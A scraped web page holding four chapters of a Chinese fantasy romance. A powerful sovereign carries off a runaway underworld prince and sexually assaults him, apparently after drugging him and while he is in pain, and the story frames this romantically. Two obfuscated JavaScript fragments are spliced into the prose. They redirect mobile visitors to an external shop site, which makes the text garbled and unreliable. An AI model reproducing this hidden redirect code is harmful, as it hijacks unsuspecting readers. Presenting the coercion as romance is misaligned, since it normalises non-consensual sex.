《山海空月[女尊]》 1. 第一章 东海浩渺无垠,衔中山峻岭,接东山层峦,上通北荒凛冽朔风,下贯南野炎炎热浪。 东海之上,两道身影在上空盘旋,忽东忽西,摇摆不定。 “大人,我们现在去哪?”辛月随着前方那道忽行忽止,四处乱飞的紫色身影,问。 前方的紫色身影缓缓停了下来,只见她双臂交叠于胸前,双眸轻阖,鸦羽般的长睫在白皙脸颊上投下浅淡阴影。 半晌,长睫轻启,露出一双流转着泠泠紫辉的眸子,一语敲定: “去冥界凉快会儿。” 池瞳,也就是说话的紫衣女子,现在火冒三丈高,恨不得马上回去把那该死的树给连根拔除。 此火非气火,非心火,而是实实在在的“火”。若细看,可见她衣袂边缘蒸腾着细微的扭曲波纹,那是极致的高温灼烧空气所致。 辛月默默退出八丈远,周身早已覆上了三层清凉诀的微光。 这事要从刚才说起。 辛月和白芷虽身为山海主麾下的两大近侍,但好在陪伴了山海主几百万,甚至几千万年,忠心极佳,对山海主来说,她们早已不是单纯的上下属关系,更多的是朋友。 白芷在不久前下凡历劫,按道理说,人类寿命短暂,最多也撑不过一百天,眼下却一百二十天了,仍不见白芷回来。 几人约好了回来后在汤谷见面。 算了算日子,白芷也该回来了,可两人到汤谷一看,还是没影。 这时傻子都能猜到,白芷定是被哪个妖男迷的找不着到了,忘了约定的日子。 而山海主语言一向犀利,冷冷的嘲讽了句,“狗改不了吃屎,白芷怎么天天捡一堆垃圾当宝供?” 偏生此话被一旁的扶桑树听了去。六界皆知扶桑枝头栖着十日,轮流巡天,却少有人知这上古神木修成灵识已九万载,暗里倾慕白芷已久,一时间,神木震怒,十日同辉,千里汤谷化作焚天洪炉。 金乌烈焰并非凡火,那是能焚尽仙骨,熔炼神魂的太阳真精。 听见心上人被山海主骂狗,不乐意的很,身体力行的表演了什么叫火漫汤山。 而池瞳身处灼热却仍面不改色,发簪上的流苏金链在热浪中叮当作响,紫眸深了几分,唇角勾起一丝讥讽: “她是狗改不了吃屎,你是癞蛤蟆想吃天鹅肉,脑子被驴踢了在这跟我耍威风。” 一旁的辛月热到爆炸,赶紧给自己捏了个清凉诀。 她本想给池瞳也捏个诀,但池瞳立刻抬手表示——不用。 辛月:“......” ——好吧。 这时扶桑树灵显化出虚影,是一赤发金瞳的男子模样,声音如滚雷,厚重无比:“大人口下留德!白芷仙子并非会被美色所困!” 这话着实招笑,就连辛月都忍不住笑出声了。 池瞳气笑了:“我骂我的属下,与你何干?” “再说了,就算她不会被美色所困,难不成能被你的丑色所困?” 扶桑被噎的说不出话,只好以冒火来表达不满。 他灵识开的晚,平日里也算安分,自然不知池瞳下手有多么毫不留情。 或许是懒得跟他这种蠢货废话,池瞳广袖一挥,汤谷之水冲天而起,化作漫天白雾,随即,扶桑树上的十只太阳被震落枝头,坠入谷中深潭。 一时间,水沸如熔浆,蒸汽遮蔽天日,寻常仙家哪怕只是沾染一丝水面上方的薄雾,仙身便会烧掉一层皮。 而扶桑又是个倔脾气,不肯开口求饶,只目瞪口呆的看着池瞳。 池瞳拍拍手径直离去,再多看这个傻子一眼,她都觉得自己眼睛要瞎了。 辛月紧随其后,回头望去,只见扶桑树虚影黯淡,十只太阳在沸水中沉浮挣扎,若要重归枝头,恐怕真要等白芷回来求情了。 而眼下正处东海,冥界入口近在眼前,去那里降火,再合适不过。 -- 冥界边关,玄铁铸就的界门高逾千丈,门上雕刻着十八层地狱刑罚图景,令人望之生畏。门前不见尽头的长队里,各色魂魄、鬼差、冥族往来不绝,哭声、喝骂声、锁链拖曳声交织。 “都拿出通界文牒,一个个来,不许插队——” 冥界界使大声吆喝着,脚步不停,在队伍两侧来回巡视,盘查着排队之人的通界文牒。 通界文牒,乃是冥界之人通往各界的钥匙,只有拿着通界文牒,才能突破冥界屏障,去往六界各处。 一般来讲,若有了通界文牒,是无需界使核对就能自行离开的。可自前月查出有匠鬼伪造文牒,致使数名重罪阴魂私逃之事后,这才新加了这一项规矩,凡出入冥界者,除持有效文牒外,更需经当值界使核验真伪。 规矩是新加,让界使心有怨言,办差时也马马虎虎,不当回事。 “你的文牒呢?”黑杖忽然重重点在青石地上,溅起几点幽蓝鬼火,界使敲了敲男孩身侧的地面,示意他赶快。 男孩怯生生的抬起头,白净的小脸上抹了几道灰印,但依旧难掩尘土下玉琢般的美貌。 界使看呆了一瞬,连查验的动作都慢了半拍。 冥界并不乏美人,可如此美貌,还是会令人心惊。 男孩似乎被吓到了,纤长的睫毛颤了颤,慌忙从怀中掏出一卷暗青色牒文,双手奉上。那牒文用冥界特有的幽冥纸制成,边缘绣着银色符文,乍看与真品无异。 界使粗粗一瞥便挥手放行,目光却仍黏在那张脸上,直到男孩匆匆低头向前,才回过神来,低声对身旁的同伴嘀咕:“这模样倒是个稀罕物。哪家的?” 同伴看了看男孩的背影:“衣衫褴褛却骨相不凡。怕是哪家落魄贵族后裔吧,少管闲事,赶紧查验,后面还排着一群呢,想不想早点回家了?” 等到界使从身旁走过,墨璃才稍稍松了口气。 卖他文牒的鬼商说,这假文牒并无通界之能,但最近通界有专人看管,需按序离界,他只需紧跟前一人的步伐,在破口还未闭合之时逃离即可。 好在检查文牒之后便无人看管,蒙混出逃想来不是件难事。 队伍慢慢向前,空气中弥漫着忘川河水的腥气与彼岸花的幽香,墨璃抬眸望去,前方是个身形高大的巨鬼,那撕开的裂口定也极大。 快了,就快到了。 巨鬼走到界门正中,将文牒按在门上一处凹槽,符文亮起,玄铁大门震荡,一道裂缝自中央缓缓撕开,外界天光如利剑刺入灰蒙蒙的冥界,荡起一阵暖意。 墨璃屏住呼吸,紧盯着前方巨鬼的背影,计算着步伐与时机。 裂口越来越大,足够他紧跟着逃出,前方的身影也在缓缓消失在光明中。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241418|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就是现在! 墨璃正欲紧随,眸光却猝然撞进一双眼睛里。 那是个立在界外,倚在一棵黑木树旁的女子。 彼时冥界边关晦暗,外界正是黄昏时分,夕阳余晖为她周身镀上金边,一袭紫罗广袖长裙在晚风中轻扬,那衣料流光溢彩,显然价值非凡。仔细看,全是用金线银丝绣着的繁复纹路,下摆则蔓延出连绵的山海图景,一针一线都闪烁着灵光。 她腰间缀着刻满符文的金环,风动时泠泠作响,襟前和袖口垂落着细密的金链流苏,长长短短,错落有致,每一根链子末端都悬着米粒大小的紫水晶,随着她的呼吸微微晃动。 而与之不搭的,是那三千青丝仅以一支简单的紫玉髓长簪松松绾着,垂至肩头。 最令他惊讶的不是那一身昂贵的衣着,而是那双眼睛,竟是紫色! 墨璃第一次看见这般好看的人,有些看呆了,因此也没注意到,裂口在缓慢闭合中。 他正想收回视线,却不知为何,女人忽地勾起唇角,含笑看向他,眸中的紫色逐渐转变为耀眼的黄色。 美的光彩夺目。 墨璃呆立原地,脑海中一片空白。 “快点啊!怎么还不走?!” “慢死了,前面磨磨蹭蹭的干嘛呢?” 直到身后的阴魂推了他一下,他才回过神来,这才恐慌的意识到,裂口已经小到只能塞下一个头部,他现在根本过不去。 后面的不满声还在继续,引来了后排正检查文牒界使的注意。 眼见裂口缓慢缩小,不远处界使正向自己走来。 绝望瞬间灌遍墨璃全身,若是此刻被抓回去,定会遭母君一顿毒打,将他关在宫中设下重重枷锁。 不能在此刻被抓到! 他抬眸,那道紫衣身影已转身,似要离去,裂口以肉眼可见的速度闭合,快要看不清女人的身影,鬼使神差间,墨璃连忙凝起一丝灵力,化作音虫,振翅穿过即将消失的裂缝中,落在女人耳畔上,发出清晰无比的声音: “姐姐,能不能带我逃出去?” 这道音虫飞至耳边响起时,清甜乖顺又带着稚嫩的乞求的声音令池瞳全身舒爽,周身未散的燥热奇异般地平复了几分。 她正欲离去的脚步忽地顿住,回想起刚才那男孩的样貌。 肌肤如玉般雪白,却不是冥界之人的苍白,而是透着粉的白玉,脸上虽然擦着灰,身上也穿的破烂不堪,但明显是有意为之,若回去拾掇一番,定是个百万年难见,哦不,千万年难见的美人。 比她现在后殿里的收藏品都要好看。 她活了那么久,喜爱搜罗六界美人一事众人皆知,更有甚者,每到特定的日子,都会将自己管辖下的美人送往她这里去,乞求得到山海主的庇护。 冥界也是如此。 可眼前这人目测有几百岁,若说年幼尚小,养养再送与她也罢,可这都几百年了,冥君竟从未送到她这里来。 她的精神力覆盖整个山海,对好看事物一向敏感,也从未察觉到冥界有此等美人。 想到此,池瞳的笑容越来越大,眸中金辉却冷了下来,看的辛月渗得慌,只见山海主身上的火焰立刻熄灭,给自己捏了个静心咒,朱唇轻启,话里含着些不知明的意味, “冥君,竟藏着这般好东西。” 2. 第二章 辛月听到这句话后,浑身起鸡皮疙瘩,再听到飞到池瞳耳边的音虫声音后,更是暗道不好,这位小郎君怕是要完。 怎么年纪轻轻想不开,找山海主求救呢? 这不是自投罗网吗? 山海主那双紫眸六界无人不知无人不晓,辛月自是理所当然的认为,这男的是故意为之。 但不得承认,他手段虽低下,对于池瞳这个颜值至上主义者,却是颇为受用的。 果然,下一秒,一道白光闪过,毫无预兆地自界外穿透冥界屏障,如灵蛇般蜿蜒而入,轻轻卷住了墨璃的手腕。 时空仿佛凝固在此刻,墨璃怔怔低头,看着缠绕在腕间的白色光带,上面流淌着细密的金色符文,身边的鬼魂仿佛静止在原地,连忘川河水似乎都停止了流动。 他缓缓抬头,望向这股灵力的主人。 屏障之外,池瞳对他眨了眨眼,那双黄色的眸子里盛着意味深长的笑意,下一秒,光带轻轻一拽。 墨璃只觉得天旋地转,耳边风声呼啸,眼前景象急速流转,所有的一切全都飞速后退,消失,取而代之的是温暖的光影。 墨璃被强大的吸力拽到女人身边,在空中堪堪站稳。 池瞳松开光带,任由它化作点点白光消散在空气中,眼睛一眨不眨地盯着他。 那双溜圆的眸子下意识地想悄悄打探女人的神情,却不料被那双紫眸逮个正着。 此刻近距离相对,墨璃才真正看清她的容颜,方才惊鸿一瞥已觉绝世,如今细观,更觉震撼。 尤其是那双眼睛,此刻已恢复成深邃的紫色,却无比通透纯粹,像琉璃葡萄一样。 女人的表情格外温和,不似方才在界外置身事外那般淡漠,她声音很轻,像是怕吓到自己似的:“你叫什么名字?” “墨璃。”他小声答道。 墨璃本以为女人不会帮自己,毕竟逃脱冥界这件事,说小不小,说大不大,若是没被母君发现,只是放走一个无名小卒,并无大事,可偏偏他身份特殊,若是被他母君,也就是冥君知道,定不会放过女人。 想到此,他有些担心起来,他曾亲眼见过一个偷盗冥府典籍的判官,被母君剥去魂魄,日夜受万刃穿心之痛,哀嚎了三百年才魂飞魄散,母君最厌恶叛逃者,所用之刑也极为残忍,冥界上下,无人不惧母君。 眼前这女子虽神通广大,能轻易撕裂冥界屏障,将他给带出去,可母君毕竟执掌冥界多年,实力深不可测。若真因自己而结仇...... “谢谢姐姐。”墨璃先诚恳道谢,而后忐忑道:“姐姐,放我出来,会不会给你惹来麻烦?” 此话一出,一旁的辛月差点笑出声来,这小孩着实单纯,竟然问山海主会不会有事,四海八荒,哪有人敢找山海主的麻烦? 上一群试图杀池瞳的人,还没距离她一丈远就嗝儿屁了,当真是驾鹤南去,去冥界报道了。 不,应该不能说是鹤,而是从章莪山飞过来找池瞳的毕方小朋友。 辛月还记得毕方气得浑身红焰乱窜,若非池瞳拦着,差点将那些神魂烧得灰飞烟灭,连入轮回的机会都不给。 想到此,她目光略含同情的看向墨璃。 有事的是你才对啊,小美人。 “不会有事。”池瞳歪头看他,嘴角勾起一抹笑,那笑意却未达眼底,“只是......我把你放出来了,你该如何报答我?” 报答? 墨璃怔住了,他出逃时为了不露痕迹,除了那卷假文牒,什么都没带,原本计划先到妖界投靠表兄,或许还没找到表兄就被母君抓回去,更是什么顾虑都没了。 “姐姐,我现在身无分文,”他窘迫地低头,看着自己身上的粗布麻衣,“可否等过段时间,待我回到妖界找到表兄,再报答你吗?” 他下意识认为,女人所要的报答无非是金银珠宝、灵石法器这些六界通行的贵重之物。 池瞳却像是看穿了他内心所想,摇了摇头,“我不要那些俗物。” 她的视线如实质般落在他身上,缓缓游移,从纤细的脖颈,到单薄却线条优美的肩背,再到那不堪一握的腰肢。 那目光不像在看一个人,倒像在打量一件刚入手的珍玩,最后,视线定格在他饱满的唇瓣上。 这眼神引起墨璃的极度不适,在冥殿,从未有女人敢向自己露出如此赤裸裸的眼神。 他这才恍惚意识到,女人帮自己,似乎并非自己想的那般简单。 不要那些俗物,那要什么? 总不会是...... 他下意识后退半步,却不小心踩碎了一截枯枝,发出清脆声响,声音里已带上了些不易察觉的颤抖:“那......姐姐想要什么?” “要你。” 二字轻飘飘落下,却重若千钧。 墨璃尚未反应过来,只觉腰间一紧,那道熟悉的缠着金色符文的光带再次缠上,眼前景象瞬间模糊。 —— 山海殿位于中山,由山海主的精神力所筑,变幻莫测,是一座悬浮于虚空的神殿,旁人若是想去山海殿,必须在中山地界传音,得到山海主的允许,外界才会显现殿门。 山海殿大到无法用空间来测量,盘旋在主殿外有一环形池,里面流淌的碧绿色如丝绸般的水,水面无波无澜,却有氤氲灵气蒸腾而起,环形池外围则是一列列用金色帷幕半遮的桌椅。 那些桌椅非金非木,材质似玉又似琉璃,通体剔透,内里有金色脉络如活物般流动。 主殿,也就是池瞳平日所待之地,紫光封印盘旋在上方。 山海殿不似人间繁华,仙界清雅,冥界阴森,它是一处金碧辉煌到令人目眩神迷,却又在下一秒让你意识到,这般极致的华美之下,也蕴藏着极致的压迫。 墨璃还未从这震撼中回神,身体便被轻轻一抛,下一秒,人已经被扔到了柔软的床褥中。 他陷在一片柔软中,脑袋有些懵,呆呆的望着缓步走近的女人。 直到此刻,他才后知后觉地问出那个问题: “你......究竟是谁?” 这地方比冥殿大了数百倍,灵力浓郁,格局宏大,远非冥界可比。是传说中的仙界吗?还是更神秘的神界? 他从小被禁在冥殿,对外界一无所知,哪里知道眼前之人,正是六界众生谈之色变,连天 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自己这是怎么了?难不成她给自己下药了? “热吗?”他听见女人附在耳边轻柔的说,带着一丝若有若无的笑意,“我帮你。” 池瞳不知何时已坐在榻边,俯身靠近,她身上那冷冽的清香扑面而来,非花非木,而是像雪一般纯净的寒气,靠近她本该清凉,却不知为何的,墨璃体内燥热更盛。 恍惚间,墨璃终于明白了她的意图。 “你敢!”他挣扎着向后退,却因全身无力,只能徒劳地挪动几分,口中断断续续的威胁道:“你可知我......我母亲是,何人!” 冥君? 踩不死的老东西而已。 池瞳轻笑,越发觉得他可爱,她伸手,指尖轻抚过他因汗湿而贴在额角的碎发,精神力像一张网,瞬间套牢了墨璃全身。 她的精神力释放的越多,墨璃就越痛苦,每一缕精神力都如蛇一般灵活地钻进他的经脉,缠绕他的魂魄,掌控着他每一分感知。 那不是单纯的□□疼痛,而是魂魄被一寸寸侵染、占据的恐惧与绝望。 他觉得自己正在被剥开,从外到内,从□□到灵魂,毫无保留地展露在这陌生女子面前。 沉浮之中,他泪意汹涌。 他再也不会不听母君的话,私逃出来了。 他还未成婚,竟要被这不知姓名的女子,夺了清白。 话本上不是说,男子的第一次,应是非常舒服才对吗? 他为何,那么痛......痛到恨不得立刻死去。 那张迤逦的白生生的小脸上淌满了泪,长睫被泪水浸得湿透,眸中倒映着殿内流转的星光,最后终于撑不住,闭眼昏了过去。 以至于没有看清,女人脸上从情欲中褪去,如万丈寒冰般冷漠的神情。 那双金色的眸子缓缓恢复为紫色,注视着他昏睡的面容,里面没有一丝怜惜,只有一片深不见底漠然。 仿佛刚才的一切旖|旎纠缠,不过是满足生理|需求的作戏。 3. 第三章 池瞳静静看了墨璃片刻,挥手给人盖上了被子。 她翻身下床,指尖点向他的眉心,带出了丝线般的黑雾。 一股温和的精神力涌入墨璃体内,循着经脉游走,所过之处,某种无形的枷锁寸寸碎裂,他闷哼一声,感觉灵魂深处某种沉重的东西被剥离了,整个人骤然轻松,连呼吸都畅快了许多。 “九重禁制。”池瞳轻道。 怪不得她从未察觉过墨璃的存在,冥君对自己的亲生男儿也当真狠心,封印了他的血脉,压制了他的容貌,遮蔽了这个天机。 也是,若是她早些年就发现了墨璃的存在,定会当场将他毁灭,扼杀在幼时的摇篮里。毕竟这体内的至纯之血养久了,可就是大麻烦了。 主殿气温跟随着山海主身上散发的寒意不断下降,以至于床上的人不自觉地裹紧了被子。 池瞳看着那张精致的面庞,顿觉无聊。 又是为她量身定做的男人。 只是这一次捏造的未免太合心意,以至于她改了想法,没有将他销毁。 也是,这些人失败了那么多次,总能误打误撞成功一次吧? 绿海环池边,辛月正蹲在池畔,指尖轻点碧绿水面。 那看似平静的水面下,实则养着从六界搜罗来的各种灵鱼仙鲛,此刻被她一搅,几条流光鲤跃出水面,溅起翡翠色的水花,在空中划过一道弧线。 “扰人清梦,缺德!”水下传来闷闷的抱怨声,说的是上古密语。 辛月轻笑,指尖凝出一缕淡蓝法力,轻轻一压,那几条正要破口大骂的灵鱼顿时被无形之力按回水底,咕嘟咕嘟冒出一串泡泡。 她正玩得兴起,背后忽然一股寒意袭来。 那寒意并非寻常寒冷,而是直接作用于神魂的凛冽,熟悉得让她浑身一激灵,差点栽进这深不见底的绿海里喂鱼。 辛月连忙稳住身形,动作丝滑地转身低头作礼:“大人。” 直觉告诉她,山海主的心情出奇的差。 难不成那小孩看上去秀色可餐,实际却平平无奇? 不至于啊,她瞧着那玲珑身段,应是格外好吃才对。 那为何这次那么短的时间就出来了? 她偷偷抬眼,瞥见池瞳一身素白常服,长发依旧松松绾着,面上没有任何表情,可越是平静,辛月心里越是打鼓。 池瞳的音调很冷,吩咐道: “去查查,那个老不死的在背地里忙活些什么。” “......” 辛月:大人,您口中的“老不死”太多了,东荒那位天天跟您较劲的妖皇,北海那只睡了九万年还没醒的巨鳌,甚至天庭里那几个看您不顺眼的老巫婆,都能被您称作“老不死”。 当然,这话她只敢在心里过一遍,好在她跟随主多年,对主的心意不说猜个完全一致,但也大致不差,刚才那小孩从冥界带回来的,那就是查有关冥界之事,“冥君?” 山海主点了点头。 “查什么方向?”辛月谨慎追问,“是查她与哪些势力往来,还是查她近千年来的异动,或是......” “全部。”池瞳打断她,“尤其是墨璃的来历。” 辛月心头一震,面上却不露声色:“属下明白。” 她行礼告退,转身时余光瞥见主殿方向,心中那点疑惑更深了。 难不成,这墨璃并非是冥君刻意做一出戏献给大人的小玩意儿?还是说,这墨璃身上藏在什么不可告人的秘密? - 墨璃醒过来时,感觉全身像是被拆散重组了一遍。 每一寸骨头都在呻吟,每一丝肌肉都在酸痛,仿佛跳进苦情河里浸泡了三天三夜,连魂魄都被那蚀骨的河水磨得渣都不剩。 他咬着牙,强撑着手臂想要坐起,这个简单的动作却让他倒抽一口冷气。 好不容易坐起身,视线又被殿内的景象晃得一阵眩晕。 昨日匆匆一瞥已觉震撼,此刻在晨光下细看,更是金碧辉煌到令人窒息。地面铺的并非普通白玉,而是一整块完整的蕴灵石,内里云雾纹路自然流转,灵气浓郁得几乎凝成实质的雾气。 穹顶的星辰此刻变换了排列,模拟出晨曦微光,柔和地洒落下来,四周那些金色帷幕在光线下呈现出半透明的质感。 他撇撇嘴,怪不得女人说不要那些“俗物”。 原来自己这里遍地都是“俗物”,还是俗到极致的那种。 他四处打量了一圈,还是被全身的酸痛所打败,又躺了回去。 目光放空地望向金灿灿的穹顶,脑子里乱糟糟的。 他......还要去妖界找表兄吗? 自己从未出过门,甚至不知道妖界具体在何处,更不知妖界是否像冥界一样,需要特定的东西才能进入,这么看,自己私逃出来,当真是一时脑热。 而昨晚那个女人,看上去似乎是想跟自己在一起的。 只不过不善言辞了点,方式粗暴了些,但长得那般好看,肯定不是坏人。 况且,自己的第一次被她占了,纵使自己不喜,也无计可施,只能给她当夫郎了。 说起第一次,他又开始疑惑起来。话本里写的都是骗人的吗?什么“□□”,“飘飘欲仙”,他只觉得快要死过去了。 还是说她的技术不行?难道她也是第一次?那就有情可原了。 他的思绪漫无目的地飘荡,甚至开始想象了起来,如果以后真跟她在一起,孩子该叫什么名字?要生几个?孩子是像她一样有双异瞳,还是像自己...... 想着想着,墨璃的脸微微发烫。 等等。 他忽然意识到一个非常严重的问题——他还不知道她的名字。 这就是一见钟情,两情相悦吗? 他在冥殿偷看话本时,暗自期待了好久,自己会不会也遇到这样的人。 谁知竟这般阴差阳错,刚出冥界,就遇上了自己的命定之人。 看这宫殿的规模,这气派,女人定是身份地位极高之人。如此,母君应该会同意吧?毕竟与外界联姻对冥界也有好处。 说起母君,不知他出逃的事被发现了没有。出逃前他做了万全准备,将自己的贴身小侍托付给了姐姐,母君虽然严厉无情,但总归不会无缘无故伤及无辜,殿里的人应该没事。 再者,天塌了有姐姐顶着。 “轰——” 轻微的响动打断了他的思绪。 主殿那两扇高逾十丈的大门,正缓缓向两侧滑开。门外并非寻常景象,而是一片柔和的白光,光中有流云浮动,仙气氤氲。 墨璃呼吸一滞,连忙钻进被窝里,盖住脑袋,心砰砰直跳。 她来了吗? 这里果然是仙界或者神界吧?门外那景象,分明就不是寻常之地能有的。 脚步声由远及近,很轻,踏在玉质地面上几不可闻。 “小郎君。” 是一个陌生的女声,清亮柔和。 墨璃捂在被子里一动不动。 “小郎君?”那声音又唤了一声,带着些许无奈,“醒了吗?” 辛月喊了几声,见他还不出来,都想直接掀开被子把人拽出来了,但又怕看见什么不该看的,只得反复地喊。 被子里的人蛄涌了几下,猛地冒出头来,喘了几口气,看向来人。 还未等他开口,辛月就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241420|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先自我介绍起来:“我叫辛月,是主的属下。” “主?”墨璃眼露迷茫。 如此天真模样,倒让辛月心里敬佩了几分。 就目前来讲,这是她见过演技最好的玩物了。 寻常勾引之人,大多是在池瞳面前装上一装,在她面前又是另一幅面孔。 但池瞳唯爱小白花,即便是知道那些人在装,也格外受用,只要演得好,她也乐得配合。 想到此,辛月隐晦地打量了一番墨璃。 当视线扫到他颈侧的红印时,有一瞬的错愕。 按照惯例,房事过后,池瞳都会用自己的精神力替伴床愈合伤口。倒不是说这显得多体贴,纯粹是因为她不喜欢看见淤青的痕迹,觉得有碍观瞻。 可这次,竟然没有...... 辛月有些踌躇,自己要不要擅作主张,给他捏个消痛诀,抹去这些痕迹?可万一是大人故意留下的呢? 她这边还在犹豫,墨璃已经察觉到她的视线,下意识将被子往上拉了拉,盖住脖颈。 他断断续续地暗示道:“给你家大人多买点那些话本,学习一下......昨天晚上.......痛死了。” 此言一出,辛月更懵了,他这话是在说......池瞳技术不行? 可是她家大人身兼百战,经验丰富到能著书立说的地步,尤其是那独一无二的精神力,若与伴侣同床,精神力交融之下,对方感受到的应是极致的欢愉。 况且受到山海主精神力的灌溉,同床之人的修为也会大涨...... 往常那些有幸侍寝的,哪个不是结束后容光焕发,修为精进,只有喊舒服的份,哪有喊疼的? 她曾经就恨自己不是个男的,爬不了她家大人的床。 “你在说什么?”辛月古怪地看他一眼。 墨璃一愣,不懂她反应为何如此之大。 难不成是被戳到痛处,恼羞成怒了? 自己说的又不是她,干嘛那么大惊小怪? 但这样对女人的属下说,会不会伤了她的面子? 就在这时,一道青色身影悄无声息地出现在辛月身后。 池瞳依旧一身素衣,长发未绾,随意披散在肩头,她面上没有任何表情,眸光淡淡扫过榻上局促的墨璃,又看向摸不清头脑的辛月。 “你先下去吧。”她淡淡道。 辛月复杂地看了眼墨璃,点点头,消失了。 “姐姐!” 见到池瞳,墨璃眼睛一亮,也顾不上身上的酸痛了,撑着身子就想起来。 池瞳缓步走近,在榻边停下,垂眸看他。 墨璃立刻张开手臂,眼巴巴地看着她,分明是求抱的姿势。 池瞳静默了一瞬,如他所愿的俯下身,轻轻抱住了他。 怀抱很舒服,带着她身上特有的冷香,墨璃满足地将脸埋在她肩头,深深吸了口气。 然后他听见头顶传来冷冷的声音: “买什么话本?” 墨璃身子一僵,讪讪的往后缩了点,“没什么......是我想看话本了。” 他总不能直说“你技术太差需要学习”吧? 池瞳没直接戳穿他的小心思,松开怀抱,指尖在他额前轻点。 一道白光自她指尖涌出,没入墨璃眉心。刹那间,周身那折磨人的酸痛如潮水般褪去,取而代之的是一种通体舒畅的轻盈感,连精神都为之一振。 墨璃感觉全身的疼痛瞬间消散,身子恢复如常,他欣喜的看向池瞳,夸赞道:“姐姐,你好厉害!” “这是什么法术,能不能也教教我?” 天真烂漫模样,着实可爱。 4. 第四章 不怪池瞳会觉得墨璃格外新鲜。 自鸿蒙初开,天地初分时,池瞳便已降临这世界。那时混沌未明,山海初定,她生来便是执掌天地山河的主人。若这世间真有所谓“天道”,那她便是天道在世间行走的化身,或者说,她就是天道本身。 岁月对她而言不过弹指,百万年光阴流淌而过,六界生灵更迭无数,唯有她永恒不变。 来到她身边的男子,最初无不敬畏于她,战栗于她抬手间可覆灭星辰的法力。可久而久之,贪婪与私欲便会如藤蔓般滋长,既然只需姣好的容貌与称心的身子就能得到山海主青睐,得到百年难修的法力和地位,这交易岂非过于简单。 于是他们将自己打磨成最精致的器物,各显神通,只为博她一眼垂青。 可所有人都没料到,山海主竟如此冷情。 明明是心怀众生的主,可行为举止,却无不狠辣。 明明掌管着山海生灭,却对生命本身缺乏敬畏。 那些费尽心机接近她的男子,大多变成了真正的器物,被封入琉璃瓶中,悬挂在山海殿深处那棵永恒灵树的枝头,成为装饰品。 他们无法逃脱,那通身法力都是山海主给予的,再高的修为对她来说也是微乎其微,又谈何抵抗? 曾有位出身显赫的仙君,为救兄长亲赴山海殿,跪在池瞳面前恳求她放过那些男子。 山海主只是摆摆手,道:“若他们愿走,你便带走。” 仙君满怀希望地站在灵树下,对着那些熟悉的面容苦口公心劝说了整整三天三夜。 无一人应答。 不,不是无人应答,是无人愿走。 着实可笑。 可墨璃不同。 或许是因为他那双眼睛太过明亮,澄澈得能一眼望到底,眸中映出的情绪与脸上表现的,竟出奇地一致,惊讶就是惊讶,欢喜就是欢喜,疼痛就是疼痛,没有半分掩饰与算计,让池瞳格外陌生。 她不得不承认,冥君手段之高明,那老东西摸透了她的脾性,知道她腻味了那些精心雕琢的假象,便送来了个漂亮的蠢蛋。 想到这儿,池瞳难得地生出一丝近乎“愉悦”的情绪,凑上前轻吻了下那鲜红饱满的唇瓣,一改先前的冷漠,伸手理了理他凌乱的碎发,声音和煦得如二月春风,“改日教你。” 明明两人才见过几面,明明对眼前之人不甚了解,可墨璃还是依照本能的想要亲近。 方才那蜻蜓点水的一吻,非但没能解渴,反而勾起了更深处的痒,他不知道自己的身体是怎么了,从前在冥殿时他也并非黏人的性子,可自从与这个女人共度一夜后,他的每一寸肌肤都叫嚣着想要靠近,想要更多。 他那双眼睛睁得又大又圆,直直地盯着池瞳,头稍稍仰起,鲜红饱满的唇瓣无意识地轻抿,又松开,那模样纯真又诱惑,一股任人采撷的样子,看得池瞳牙痒。 池瞳下意识磨了磨右边的尖牙,掌心握上他圆润的肩头,触感温热,“今日先教你些别的。” 墨璃还未来得及反应,天旋地转间,身子又陷入了柔软的被褥里。 这次墨璃没有像第一次那般,痛得要死要活,涕泪横流,但也好不到哪去。 全身上下没一处好皮,这些不是最重要的,精神上的痛远比身体上的强烈数万倍,像有人撕扯着自己的每一根神经,迫使他臣服。 他想逃,身体却沉溺在另一种感官的漩涡中,她的亲吻,她的触摸,她渡来的带着凉意的精神力,都成了疼痛海洋中唯一的浮木。 他全身都在叫嚣着抗拒,灵魂却在一次次的冲击中逐渐软化,屈服。 那双原本睁得溜圆的眸子,此刻已被泪水浸透,焦距涣散,只能模糊地映出上方那张令他着迷的脸。 墨璃无意识地伸出手,指尖颤抖着想要触碰她,喉咙里溢出破碎的呜咽:“亲......亲一下。” 池瞳将他乱动的手轻轻按回身侧,温柔地吻了吻他的额头,鼻尖,最后落到唇上,唇齿交缠间,丝丝缕缕清凉的精神力缓缓渡过来。 “知道我是谁吗?”她问。 墨璃摇了摇头,这才想起自己还不知道她的名字,“你......叫什么?” 他的表情作不了假,是当真不知道她是谁,更不知她叫什么。 真可怜,池瞳想。 都第二次了,却连她是谁都不知道,更不知道自己本就是亲生母亲送给她的玩物。 或许是出于一丝道不明的私心,池瞳没告诉他自己是何人,只是道: “记住我的名字,池瞳。” 墨璃吞咽了下唾沫,对耳边的声音置若罔闻,整个人像是傻了般,只知道盯着池瞳的眸子。 紫色的眼睛,真的太好看了,他呆呆地看着。 池瞳不满地咬了咬他的后颈,把人唤醒。 右侧的尖牙抵上细|腻的皮肤,带来微微颤抖,而后如愿以偿地听见那微弱的泣声,“池瞳,好疼。” 亲吻是唯一不痛甚至称得上舒服的抚慰,墨璃迷恋于此,一遍遍要亲,即便意识已模糊不清,身体仍本能地贴近。 连自己昏过去了都不知道。 